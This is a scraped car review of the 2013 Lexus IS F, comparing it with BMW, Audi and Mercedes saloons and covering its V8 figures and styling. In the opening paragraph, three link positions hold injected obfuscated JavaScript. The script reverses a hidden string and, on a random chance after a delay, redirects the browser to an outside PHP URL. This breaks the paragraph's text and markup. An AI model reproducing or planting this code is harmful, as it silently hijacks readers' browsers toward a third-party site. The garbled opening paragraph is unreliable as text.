Lexus has a problem with its 2013 model year IS F. As a mid-size saloon, it’s already part of a race hitherto dominated by the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/new-bmw-335i-a-half-day-at-crankandpiston/” target=”_blank”>BMW 3 Series, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/new-audi-a4-through-the-paces/” target=”_blank”>Audi A4s and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mercedes-c63-amg-just-three-words/” target=”_blank”>Mercedes C Classes of this world, prized stallions which only seem to grow stronger with each passing iteration and technical development. When we check out the new aspects of the Lexus IS F though, the crib sheet makes for light reading.
The new Starfire Pearl and Liquid Platinum paint finishes for instance (the latter of which adorns crankandpiston’s latest test model) are pretty much it for new features. You’d be forgiven then for thinking that Lexus’ latest gelding has bitten off more than it can chew.
That is until you lift the bonnet and check out the vital statistics. At our disposal, we have a 5.0-litre V8 that pumps out 416hp. That, plus a rather handy 371 lb-ft of torque, equates to a 4.6 second 0-100kph time and a 274kph top speed. And that’s before we throw sportier tuned suspension, a Brembo brake kit, and a performance orientated eight-speed Sport Direct-Shift automatic transmission into the mix.
Casting an eye over the admittedly unaltered exterior similarly demonstrates the ‘new’ IS F has its game face on. The glaring LED headlights are particularly striking, as are the aggressively designed front bumper, the cheeky four-strong tailpipes, and air outlets behind the front wheels. The smooth, almost elegant tautness about the bonnet and doors may look a touch out of place amidst the shoutiness (and that includes the nifty 19” BBS/Lexus alloys), but the sporting connotations are clear to see.
